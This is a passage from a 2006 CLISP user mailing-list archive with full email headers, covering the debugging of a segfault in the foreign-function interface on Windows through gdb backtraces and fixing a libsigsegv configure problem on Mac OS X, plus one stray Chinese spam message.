Sep 2006 08:05:33 +0300 From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.8.0.6) Gecko/20060729 SeaMonkey/1.0.4 MIME-Version: 1.0 To: Sam Steingold References: <44FC6DFD.2070309@tut.by> <44FD1C0C.1030309@jenty.by> <44FDA6F2.7060207@gnu.org> <44FDCC0C.5020806@tut.by> <44FDCE87.3010606@gnu.org> <44FDD084.7010105@tut.by> <44FDD21E.4070005@gnu.org> <44FDD4E1.6080401@tut.by> <44FDD646.4060105@gnu.org> <44FDD7DD.2040705@tut.by> <44FDD934.3050003@gnu.org> In-Reply-To: <44FDD934.3050003@gnu.org> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] please test cvs head X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 06 Sep 2006 05:07:02 -0000 $ gdb --args lisp.exe -M lispinit.mem -norc GNU gdb 5.2.1 Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-mingw32"... (gdb) run Starting program: C:\gnu\home\src\clisp\clisp\build-full\full/lisp.exe -M lispinit.mem -norc Program received signal SIGSEGV, Segmentation fault. 0x0046337b in iarray_displace_check (array={one_o = 788725848}, size=1062279661, index=0x22a6ac) at array.d:277 277 if (*index+size > Sarray_length(array)) (gdb) backtrace #0 0x0046337b in iarray_displace_check (array={one_o = 788725848}, size=1062279661, index=0x22a6ac) at array.d:277 #1 0x004e22f8 in unpack_string_ro (string={one_o = 1526869763}, len=0x22a6b0, offset=0x22a6ac) at charstrg.d:572 #2 0x00461a87 in object_handle (library={one_o = 1526869763}, name= {one_o = 1526869763}) at foreign.d:4129 #3 0x00461f21 in update_library (acons={one_o = 1526869763}, version=0) at foreign.d:4174 #4 0x00462361 in validate_fpointer (obj={one_o = 434976137}) at foreign.d:4265 #5 0x0045580d in check_faddress_valid (fa={one_o = 435005341}) at foreign.d:610 #6 0x0045f4a8 in C_foreign_call_out (argcount=1, rest_args_pointer=0x1100114) at foreign.d:3406 #7 0x00509fa4 in funcall_subr (fun={one_o = 5781522}, args_on_stack=1) at eval.d:5325 #8 0x005093e3 in funcall (fun={one_o = 5781522}, args_on_stack=2) at eval.d:4930 #9 0x00506d31 in eval_ffunction (ffun={one_o = 435005357}) at eval.d:3986 #10 0x00503c87 in eval1 (form={one_o = 1526853811}) at eval.d:3049 #11 0x00503788 in eval (form={one_o = 1526853811}) at eval.d:2899 #12 0x0053e316 in C_read_eval_print () at debug.d:408 #13 0x0050a00a in funcall_subr (fun={one_o = 5755186}, args_on_stack=2) at eval.d:5330 #14 0x0050945a in funcall (fun={one_o = 5790065}, args_on_stack=2) at eval.d:4937 #15 0x0050d2d5 in interpret_bytecode_ (closure={one_o = 435031201}, codeptr=0x19e74954, byteptr_in=0x19e74966 "╞P\200J") at eval.d:7021 #16 0x0050add9 in funcall_closure (closure={one_o = 435031201}, args_on_stack=0) at eval.d:5771 #17 0x00509410 in funcall (fun={one_o = 435031201}, args_on_stack=0) at eval.d:4932 #18 0x0053b476 in C_driver () at control.d:1976 #19 0x0050d3d2 in interpret_bytecode_ (closure={one_o = 434588305}, codeptr=0x19e74900, byteptr_in=0x19e74912 "G") at eval.d:7027 #20 0x0050add9 in funcall_closure (closure={one_o = 434588305}, args_on_stack=0) at eval.d:5771 #21 0x00509410 in funcall (fun={one_o = 434588305}, args_on_stack=0) at eval.d:4932 #22 0x0050dbbc in interpret_bytecode_ (closure={one_o = 434793521}, codeptr=0x19dd4798, byteptr_in=0x19dd47aa "") at eval.d:7077 #23 0x0050add9 in funcall_closure (closure={one_o = 434793521}, args_on_stack=0) at eval.d:5771 #24 0x00509410 in funcall (fun={one_o = 434793521}, args_on_stack=0) at eval.d:4932 #25 0x0050dbbc in interpret_bytecode_ (closure={one_o = 434794621}, codeptr=0x19dd4798, byteptr_in=0x19dd47aa "") at eval.d:7077 #26 0x0050add9 in funcall_closure (closure={one_o = 434794621}, args_on_stack=0) at eval.d:5771 #27 0x00509410 in funcall (fun={one_o = 434794621}, args_on_stack=0) at eval.d:4932 #28 0x0050dbbc in interpret_bytecode_ (closure={one_o = 434912705}, codeptr=0x19dd4798, byteptr_in=0x19dd47aa "") at eval.d:7077 #29 0x0050add9 in funcall_closure (closure={one_o = 434912705}, args_on_stack=0) at eval.d:5771 #30 0x00509410 in funcall (fun={one_o = 434912705}, args_on_stack=0) at eval.d:4932 #31 0x0050dbbc in interpret_bytecode_ (closure={one_o = 434914161}, codeptr=0x19dd4798, byteptr_in=0x19dd47aa "") at eval.d:7077 #32 0x0050add9 in funcall_closure (closure={one_o = 434914161}, args_on_stack=0) at eval.d:5771 #33 0x00509410 in funcall (fun={one_o = 434914161}, args_on_stack=0) at eval.d:4932 #34 0x0050dbbc in interpret_bytecode_ (closure={one_o = 435011385}, codeptr=0x19dd4798, byteptr_in=0x19dd47aa "") at eval.d:7077 #35 0x0050add9 in funcall_closure (closure={one_o = 435011385}, args_on_stack=0) at eval.d:5771 #36 0x00509410 in funcall (fun={one_o = 435011385}, args_on_stack=0) at eval.d:4932 #37 0x0053e655 in driver () at debug.d:477 #38 0x0044eb18 in main_actions (p=0x638678) at spvw.d:3231 #39 0x0044d84d in main (argc=4, argv=0x3d43b8) at spvw.d:3367 (gdb) From yang.shx@fltrp.com Tue Sep 05 23:54:19 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GKrIh-0007Fo-CQ for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 23:54:19 -0700 Received: from [218.247.244.5] (helo=eyou.net) by mail.sourceforge.net with smtp (Exim 4.44) id 1GKrIf-0008Lc-Me for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 23:54:19 -0700 X-EYOU-SPAMVALUE: 0 X-EYOU-DEALDRC: Received: (eyou anti_spam gateway 3.0); Wed, 06 Sep 2006 14:51:02 +0800 Message-ID: <357525462.13514@eyou.net> X-EYOUMAIL-SMTPAUTH: yang.shx@fltrp.com Received: from 192.168.15.11 by 129.0.0.2 with SMTP; Wed, 06 Sep 2006 14:51:02 +0800 From: YANG Shouxun Organization: FLTRP To: clisp-list@lists.sourceforge.net Date: Wed, 6 Sep 2006 14:54:46 +0800 User-Agent: KMail/1.9.4 References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200609061454.47294.yang.shx@fltrp.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.0 MSGID_FROM_MTA_HEADER Message-Id was added by a relay 0.0 RCVD_DOUBLE_IP_LOOSE Received: by and from look like IP addresses Subject: Re: [clisp-list] Build problems for clisp-2.39 with Mac OS X 10.4.7 on a G5 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 06 Sep 2006 06:54:19 -0000 On Wednesday 06 September 2006 11:45, Joe Koski wrote: > on 9/5/06 6:53 PM, Sam Steingold at sds@podval.org wrote: > Sam, > > I'm probably less of an expert on configure than you are. I'm no expert on configure either, but I'd like to call your attention to src/autoconf/aclocal.m4 and search forward to "AC_DEFUN([CL_SIGSEGV]". That's where whether libsigsegv is available is determined. It seems that sigsegv.h was not found. You may need to specify that. For instance, maybe you can supply the path to configure with --includedir=SIGSEGVDIR > The puzzlement is that there doesn't seem to be a "failed program" or error > reported anywhere, only a failure to find either libsigsegv.a or sigsegv.h, > and I don't know which file configure keys from in this case because > config.log doesn't say. AFAIK, clisp can work without libsigsegv. From sds@gnu.org Wed Sep 06 06:26:41 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GKxQP-0000EC-8L for clisp-list@lists.sourceforge.net; Wed, 06 Sep 2006 06:26:41 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GKxQM-0006NX-MD for clisp-list@lists.sourceforge.net; Wed, 06 Sep 2006 06:26:41 -0700 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id AC87199E00B2; Wed, 06 Sep 2006 09:26:31 -0400 Message-ID: <44FECC85.20608@gnu.org> Date: Wed, 06 Sep 2006 09:26:29 -0400 From: Sam Steingold User-Agent: Thunderbird 1.5.0.5 (X11/20060808) MIME-Version: 1.0 To: Yaroslav Kavenchuk References: <44FC6DFD.2070309@tut.by> <44FD1C0C.1030309@jenty.by> <44FDA6F2.7060207@gnu.org> <44FDCC0C.5020806@tut.by> <44FDCE87.3010606@gnu.org> <44FDD084.7010105@tut.by> <44FDD21E.4070005@gnu.org> <44FDD4E1.6080401@tut.by> <44FDD646.4060105@gnu.org> <44FDD7DD.2040705@tut.by> <44FDD934.3050003@gnu.org> <44FE571D.8070403@tut.by> In-Reply-To: <44FE571D.8070403@tut.by> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] please test cvs head X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 06 Sep 2006 13:26:41 -0000 Yaroslav Kavenchuk wrote: > 0x0046337b in iarray_displace_check (array={one_o = 788725848}, > size=1062279661, index=0x22a6ac) at array.d:277 > 277 if (*index+size > Sarray_length(array)) > (gdb) backtrace > #0 0x0046337b in iarray_displace_check (array={one_o = 788725848}, > size=1062279661, index=0x22a6ac) at array.d:277 > #1 0x004e22f8 in unpack_string_ro (string={one_o = 1526869763}, > len=0x22a6b0, > offset=0x22a6ac) at charstrg.d:572 > #2 0x00461a87 in object_handle (library={one_o = 1526869763}, name= > {one_o = 1526869763}) at foreign.d:4129 > #3 0x00461f21 in update_library (acons={one_o = 1526869763}, version=0) > at foreign.d:4174 > #4 0x00462361 in validate_fpointer (obj={one_o = 434976137}) at > foreign.d:4265 > #5 0x0045580d in check_faddress_valid (fa={one_o = 435005341}) > at foreign.d:610 > #6 0x0045f4a8 in C_foreign_call_out (argcount=1, > rest_args_pointer=0x1100114) > at foreign.d:3406 now please walk these frames and print variables with "p" (for C), "xout" and "zout" (for Lisp). e.g.: (gdb) p size (gdb) p *index (gdb) xout array (gdb) up (gdb) xout string (gdb) p *len (gdb) up (gdb) xout library (gdb) xout name (gdb) up (gdb) xout acons (gdb) up (gdb) xout obj (gdb) xout STACK[-1] etc etc etc please try to figure out what is wrong. thanks. Sam. From jkoski11@comcast.net Wed Sep 06 09:16:49 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GL051-0001fP-TX for clisp-list@lists.sourceforge.net; Wed, 06 Sep 2006 09:16:48 -0700 Received: from sccrmhc12.comcast.net ([204.127.200.82]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GL050-0001On-H8 for clisp-list@lists.sourceforge.net; Wed, 06 Sep 2006 09:16:47 -0700 Received: from [192.168.0.101] (c-68-35-95-225.hsd1.nm.comcast.net[68.35.95.225]) by comcast.net (sccrmhc12) with SMTP id <200609061616350120003octe>; Wed, 6 Sep 2006 16:16:40 +0000 User-Agent: Microsoft-Entourage/11.2.5.060620 Date: Wed, 06 Sep 2006 10:16:34 -0600 From: Joe Koski To: clisp list Message-ID: Thread-Topic: [clisp-list] Build problems for clisp-2.39 with Mac OS X 10.4.7 on a G5 Thread-Index: AcbRz9IaEJzHvD3DEdutsAAKlbaO5g== In-Reply-To: <357525462.13514@eyou.net> Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers Subject: Re: [clisp-list] Build problems for clisp-2.39 with Mac OS X 10.4.7 on a G5 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 06 Sep 2006 16:16:49 -0000 on 9/6/06 12:54 AM, YANG Shouxun at yang.shx@fltrp.com wrote: > On Wednesday 06 September 2006 11:45, Joe Koski wrote: >> on 9/5/06 6:53 PM, Sam Steingold at sds@podval.org wrote: >> Sam, >> >> I'm probably less of an expert on configure than you are. > > I'm no expert on configure either, but I'd like to call your attention to > src/autoconf/aclocal.m4 and search forward to "AC_DEFUN([CL_SIGSEGV]". > That's where whether libsigsegv is available is determined. > > It seems that sigsegv.h was not found. You may need to specify that. For > instance, maybe you can supply the path to configure > with --includedir=SIGSEGVDIR > >> The puzzlement is that there doesn't seem to be a "failed program" or error >> reported anywhere, only a failure to find either libsigsegv.a or sigsegv.h, >> and I don't know which file configure keys from in this case because >> config.log doesn't say. > > AFAIK, clisp can work without libsigsegv. > Sam, Yang, I went back and started over from scratch, and everything worked. With clean directories, and libsigsegv.a and sigsegv.h already installed in /usr/local/lib and /usr/local/include, the ./configure did find the files, and I got different instructions than before on how to continue the build (cd to src, run makemake, etc.). The make, make check, and make install completed without problems. Apparently, once things get set without libsigsegv installed, the configure script won't look anywhere else. A clean start fixes the problem. Now it appears that I also need to rebuild maxima, because xmaxima is still saying that it is using clisp-2.38, even though clisp-2.39 is installed and responds correctly to clisp --version. Thanks for the help. Joe From lisp-clisp-list@m.gmane.org Wed Sep 06 09:26:10 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GL0E6-0002eB-Cs for clisp-list@lists.sourceforge.net; Wed, 06 Sep 2006 09:26:10 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GL0E4-0003Vs-7E for clisp-list@lists.sourceforge.net; Wed, 06 Sep 2006 09:26:10 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GL0DS-0002IK-Le for clisp-list@lists.sourceforge.net; Wed, 06 Sep 2006 18:25:31 +0200 Received: from 209.213.205.130 ([209.213.205.130]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 06 Sep 2006 18:25:30 +0200 Received: from sds by 209.213.205.130 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 06 Sep 2006 18:25:30 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Sam Steingold Date: Wed, 06 Sep 2006 12:25:05 -0400 Lines: 11 Message-ID: <44FEF661.1040500@gnu.org> References: <357525462.13514@eyou.net> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 209.213.205.130 User-Agent: Thunderbird 1.5.0.5 (X11/20060808) In-Reply-To: Sender: news X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: Re: [clisp-list] Build problems for clisp-2.39 with Mac OS X 10.4.7 on a G5 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 06 Sep 2006 16:26:10 -0000 Joe Koski wrote: > I went back and started over from scratch, and everything worked. With clean > directories, and libsigsegv.a and sigsegv.h already installed in > /usr/local/lib and /usr/local/include, the ./configure did find the files, > and I got different instructions than before on how to continue the build > (cd to src, run makemake, etc.). The make, make check, and make install > completed without problems. apparently you had a stale config.cache I am glad to hear that the problem is no resolved. Sam. From gghg3055@educities.edu.tw Wed Sep 06 14:50:57 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GL5IP-00079n-De for clisp-list@lists.sourceforge.net; Wed, 06 Sep 2006 14:50:57 -0700 Received: from hiboxo-mta11.educities.edu.tw ([210.242.46.129]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GL5IO-0006Wx-3C for clisp-list@lists.sourceforge.net; Wed, 06 Sep 2006 14:50:57 -0700 Received: from ms02.educities.edu.tw ([10.5.30.111]) by hiboxO-mta11.educities.edu.tw (Chunghwa Telecom Mail Service) with ESMTP id <0J5600AELXYLHA40@hiboxO-mta11.educities.edu.tw> for clisp-list@lists.sourceforge.net; Thu, 07 Sep 2006 05:49:33 +0800 (CST) Received: from educities.edu.tw ([127.0.0.1]) by ms02.educities.edu.tw (Chunghwa Telecom Mail Service) with ESMTP id <0J560050GXYLPVI0@ms02.educities.edu.tw> for clisp-list@lists.sourceforge.net; Thu, 07 Sep 2006 05:49:33 +0800 (CST) Received: from [10.5.10.151] (Forwarded-For: [10.10.10.151]) by ms02.educities.edu.tw (mshttpd); Thu, 07 Sep 2006 05:49:33 +0800 Date: Thu, 07 Sep 2006 05:49:33 +0800 From: =?big5?B?rPytuw==?= To: clisp-list@lists.sourceforge.net Message-id: <14d1ed6e7331e.44ffb2ed@educities.edu.tw> MIME-version: 1.0 X-Mailer: Sun Java(tm) System Messenger Express 6.1 HotFix 0.05 (built Oct 21 2004) Content-type: text/plain; charset=big5 Content-language: zh-tw Content-transfer-encoding: quoted-printable Content-disposition: inline X-Accept-Language: zh-TW Priority: normal X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers Subject: [clisp-list] =?big5?B?t1Kqsb11pFe5Q8C4qrqqQqTNprO61qRGoUk=?= X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 06 Sep 2006 21:50:57 -0000 clisp-list=40lists=2Esourceforge=2Enet0907054931webedu8661g0 =A7Y=B5M=B3=A3=A5=B4=B6=7D=ABH=A4F=A1K =B4N=A8=D3=A5=BB=AF=B8=C1=40=C1=40=C5o=A1I =ABO=C3=D2=A5i=A5H=BCW=A5=5B=B1z=A4=40=A5=D2=A4l=AA=BA=A5=5C=A4O=A1I =BD=D0=B6i=B3=E1=A1I=ADY=B5L=AAk=C1p=B5=B2=BD=D0=BD=C6=BBs=A6=B9=BA=F4=A7= =7D http=3A//www=2E168woo=2Ecom =BCy=AF=AC=B6=7D=AF=B8=A1I=A5N=AB=C8=BDm=A5=5C=A1A=A8C=A4=D1=A5u=ADn350=A4= =B8=A1A=AD=AD=ABe200=A6W =A6=B9=ABH=A5=F3=A5=D1=A1=B9=B6W=B1j=AA=BAweb=B5o=ABH=B3n=C5=E9=A1=B9=A9= =D2=B5o=B0e=A1A=A6p=A6=B3=A5=B4=C2Z=B2=60=B7P=A9=EA=BAp=A1I http=3A//home=2Ekimo=2Ecom=2Etw/yuanjob30015415/ From kavenchuk@tut.by Mon Sep 04 14:01:11 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GKLZ8-0004y8-Vu for clisp-list@lists.sourceforge.net; Mon, 04 Sep 2006 14:01:11 -0700 Received: from mail.tut.by ([195.137.160.40]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GKLZ9-0005R5-QA for clisp-list@lists.sourceforge.net; Mon, 04 Sep 2006 14:01:14 -0700 Received: from [86.57.147.176] (account kavenchuk HELO [86.57.147.176]) by mail.tut.by (CommuniGate Pro SMTP 4.3.8) with ESMTPSA id 130965031; Tue, 05 Sep 2006 00:01:01 +0300 Message-ID: <44FC94A9.5010303@tut.by> Date: Tue, 05 Sep 2006 00:03:37 +0300 From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.8.0.6) Gecko/20060729 SeaMonkey/1.0.4 MIME-Version: 1.0 To: Yaroslav Kavenchuk References: <44FC6DFD.2070309@tut.by> In-Reply-To: <44FC6DFD.2070309@tut.by> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 2.0 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.8 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net [Blocked - see ] 0.2 UPPERCASE_25_50 message body is 25-50% uppercase X-Mailman-Approved-At: Thu, 07 Sep 2006 00:28:11 -0700 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] please test cvs head X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 04 Sep 2006 21:01:11 -0000 Oops... $ ./configure --with-mingw --with-readline --with-module=dirkey --with-module=pcre --with-module=rawsock --with-module=wildcard --with-module=zlib --with-module=bindings/win32 --with-libreadline-prefix=/usr/local --with-libtermcap-prefix=/usr/local --with-libpcre-prefix=/usr/local --build build-full ... $ cd build-full/ $ full/lisp.exe -M full/lispinit.mem --version GNU CLISP 2.39 (2006-07-16) (built 3366388079) (memory 3366388935) Software: GNU C 3.4.5 (mingw special) gcc -mno-cygwin -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -falign-functions=4 -D_WIN32 -DUNICODE -DDYNAMIC_FFI -I. -x none /usr/local/lib/libintl.a -L/usr/local/lib /usr/local/lib/libiconv.a libcharset.a libavcall.a libcallback.a /usr/local/lib/libreadline.a -ltermcap -luser32 -lws2_32 -lole32 -loleaut32 -luuid /usr/local/lib/libiconv.a -L/usr/local/lib -lsigsegv SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY libsigsegv 2.4 libiconv 1.11 libreadline 5.0 Features: (ZLIB WILDCARD RAWSOCK PCRE DIRKEY READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 WIN32) C Modules: (clisp i18n syscalls regexp readline dirkey pcre rawsock wildcard zlib) Installation directory: .\ User language: ENGLISH Machine: PC/386 (PC/686) home [127.0.0.1] $ full/lisp.exe -M full/lispinit.mem -norc ... [1]> (win32:GetStdHandle win32:STD_OUTPUT_HANDLE) *** - handle_fault error2 ! address = 0x2efb0053 not in [0x19d70000,0x19ede784) ! SIGSEGV cannot be cured. Fault address = 0x2efb0053. Permanently allocated: 92672 bytes. Currently in use: 2054932 bytes. Free space: 498400 bytes. -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Thu Sep 07 04:11:10 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GLHmn-0001Eh-VQ for clisp-list@lists.sourceforge.net; Thu, 07 Sep 2006 04:11:10 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GLHml-0005L7-6Y for clisp-list@lists.sourceforge.net; Thu, 07 Sep 2006 04:11:09 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id SJW4ZWBW; Thu, 7 Sep 2006 14:11:23 +0300 Message-ID: <44FFFED7.8070005@jenty.by> Date: Thu, 07 Sep 2006 14:13:27 +0300 From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.8.0.6) Gecko/20060729 SeaMonkey/1.0.4 MIME-Version: 1.0 To: Sam Steingold References: <44FECC85.20608@gnu.org> In-Reply-To: <44FECC85.20608@gnu.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: Yaroslav Kavenchuk , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] please test cvs head X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 07 Sep 2006 11:11:10 -0000 Sam Steingold wrote: > now please walk these frames and print variables with "p" (for C), > "xout" and "zout" (for Lisp). e.g.: > Program received signal SIGSEGV, Segmentation fault. 0x00463ecb in iarray_displace_check (array={one_o = 788725848}, size=1062279663, index=0x22a6ac) at array.d:277 277 if (*index+size > Sarray_length(array)) (gdb) p size $1 = 1062279663 (gdb) p *index $2 = 0 (gdb) xout array #{one_o = 788725848} (gdb) up #1 0x004e2e48 in unpack_string_ro (string={one_o = 1610100483}, len=0x22a6b0, offset=0x22a6ac) at charstrg.d:572 572 return iarray_displace_check(string,size,offset); (gdb) xout string ("kernel32.dll" # # # ... <...> <...> <...> <...> <...> <...> <...> <...>)>)>){one_o = 1610100483} (gdb) p *len $3 = 1062279663 (gdb) up #2 0x004625d7 in object_handle (library={one_o = 1610100483}, name= {one_o = 1610100483}) at foreign.d:4129 4129 with_string_0(name,O(foreign_encoding),namez, { (gdb) xout library ("kernel32.dll" # # # ... <...> <...> <...> <...> <...> <...> <...> <...>)>)>){one_o = 1610100483} (gdb) xout name ("kernel32.dll" # # # ... <...> <...> <...> <...> <...> <...> <...> <...>)>)>){one_o = 1610100483} (gdb) up #3 0x00462a71 in update_library (acons={one_o = 1610100483}, version=0) at foreign.d:4174 4174 var void* handle = object_handle(*acons_,fn); (gdb) xout acons ("kernel32.dll" # # # ... <...> <...> <...> <...> <...> <...> <...> <...>)>)>){one_o = 1610100483} (gdb) xout fn ("kernel32.dll" # # # ... <...> <...> <...> <...> <...> <...> <...> <...>)>)>){one_o = 1610100483} (gdb) up #4 0x00462eb1 in validate_fpointer (obj={one_o = 435107289}) at foreign.d:4265 4265 update_library(acons,0); /*version??*/ (gdb) xout obj #{one_o = 435107289} (gdb) xout STACK[-1] (# # # <...> <...> ... <...> <...> <...> <...> <...> <...>)>)>){one_o = 1610100499} (gdb) Is some wrong? Or try further? -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Thu Sep 07 06:34:37 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GLK1d-0005TO-4C for clisp-list@lists.sourceforge.net; Thu, 07 Sep 2006 06:34:37 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GLK1a-0003NF-Lf for clisp-list@lists.sourceforge.net; Thu, 07 Sep 2006 06:34:37 -0700 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id AFE4A5100B6; Thu, 07 Sep 2006 09:34:28 -0400 Message-ID: <45001FE2.2010509@gnu.org> Date: Thu, 07 Sep 2006 09:34:26 -0400 From: Sam Steingold User-Agent: Thunderbird 1.5.0.5 (X11/20060808) MIME-Version: 1.0 Newsgroups: gmane.lisp.clisp.general To: 